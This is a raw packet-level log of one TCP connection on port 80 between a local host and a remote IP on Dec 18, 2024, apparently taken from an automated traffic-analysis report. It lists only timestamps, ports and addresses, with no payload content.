Dec 18, 2024 11:47:19.801428080 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.802519083 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.802594900 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.802638054 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.803621054 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.803664923 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.804071903 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.804797888 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.804809093 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.804858923 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.805896997 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.805958033 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.806206942 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.807123899 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.807137966 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.807174921 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.807209969 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.808178902 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.808383942 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.808433056 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.809329033 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.809941053 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.809984922 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.810745001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.810758114 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.810801029 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.811671019 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.811712027 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.812448025 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.812958002 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.812999964 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.813026905 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.814050913 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.814090967 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.814362049 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.814574957 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.815253973 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.816267014 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.816360950 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.816394091 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.816405058 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.816441059 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.817684889 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.817730904 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.817738056 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.817838907 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.818767071 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.819363117 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.819411039 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.819818020 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.820225000 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.820272923 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.821101904 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.821144104 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.821176052 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.822057009 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.822241068 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.822278023 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.823406935 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.823419094 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.823447943 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.823463917 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.823465109 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.824418068 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.824570894 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.824610949 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.824836969 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.824876070 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.825702906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.825741053 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.825790882 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.825828075 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.826967955 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.826984882 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.827011108 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.827028036 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.828099966 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.828260899 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.828315973 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.829196930 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.829622984 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.829677105 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.830388069 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.830430984 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.830914974 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.831576109 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.831619978 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.831790924 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.832278967 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.832884073 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.832895994 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.832933903 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.833894968 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.834686995 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.834743977 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.834809065 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.835258961 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.835272074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.835321903 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.836266041 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.836738110 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.836786985 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.837440968 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.837482929 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.837527990 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.838574886 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.838622093 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.839608908 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.839775085 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.839787006 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.839821100 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.839838028 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.841121912 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.841135979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.841191053 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.842076063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.842112064 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.842127085 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.842638016 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.843301058 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.843319893 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.843346119 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.843370914 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.844377041 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.844683886 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.844723940 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.845627069 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.845717907 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.845757961 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.846788883 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.846823931 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.847285032 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.847848892 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.847891092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.977612019 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.977669001 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.978249073 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.978265047 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.978317022 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.978490114 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.978530884 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.979456902 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.979491949 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.979500055 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.979526043 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.980552912 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.980604887 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.980757952 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.980804920 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.981890917 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.981929064 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.982084990 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.982125044 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.982973099 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.983040094 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.983071089 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.983108997 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.984107971 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.984153986 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.984421968 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.984462023 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.985337973 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.985390902 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.985666990 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.985708952 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.986443043 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.986496925 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.986593962 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.986634016 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.987759113 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.987802982 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.988471985 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.988511086 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.988825083 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.988862991 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.988886118 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.988924980 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.989909887 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.989953041 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.990334034 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.990375042 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.991084099 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.991137028 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.991228104 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.991275072 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.992259979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.992330074 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.993170977 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.993206024 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.993423939 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.993467093 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.993499041 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.993539095 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.994574070 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.994617939 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.994689941 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.994730949 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.995767117 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.995810032 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.995973110 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.996017933 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.996915102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.996956110 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.997100115 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.997143984 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.998107910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.998120070 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.998150110 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.998166084 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.999258995 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.999305010 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.999461889 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.999509096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.000601053 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.000647068 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.001120090 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.001163960 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.001588106 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.001631021 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.001966953 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.002011061 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.002774000 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.002820969 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.002854109 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.002892971 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.005121946 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.005134106 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.005145073 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.005207062 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.005207062 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.005412102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.005454063 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.006306887 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.006366014 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.006824017 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.006877899 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.007462025 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.007549047 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.008208990 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.008268118 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.008764982 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.008778095 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.008824110 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.008840084 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.009825945 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.009840012 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.009870052 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.009887934 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.011107922 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.011118889 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.011147022 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.011162996 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.012335062 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.012348890 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.012384892 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.013653040 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.013694048 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.013792992 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.013834953 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.014708042 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.014719963 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.014750957 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.014765978 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.015618086 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.015659094 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.015894890 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.015934944 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.016855001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.016866922 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.016897917 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.018019915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.018063068 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.018201113 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.018241882 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.019725084 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.019747019 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.019771099 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.019782066 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.020387888 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.020430088 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.020669937 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.020711899 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.021481037 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.021524906 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.021729946 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.021766901 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.023046017 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.023056984 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.023091078 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.024981022 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.024992943 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.025005102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.025023937 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.025049925 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.026321888 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.026335001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.026345968 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.026369095 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.026390076 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.027487040 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.027529955 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.028225899 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.028268099 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.028553963 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.028597116 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.028624058 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.028656006 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.029733896 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.029776096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.030121088 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.030159950 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.030869961 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.030908108 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.031047106 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.031090975 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.032427073 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.032439947 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.032469034 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.033216953 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.033258915 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.033436060 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.033477068 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.034472942 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.034485102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.034514904 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.035649061 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.035707951 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.035865068 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.035904884 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.036854029 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.036865950 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.036900997 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.037873030 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.037914038 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.038219929 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.038260937 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.039249897 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.039289951 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.168695927 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.168785095 CET	49806	80	192.168.2.6	31.41.244.11
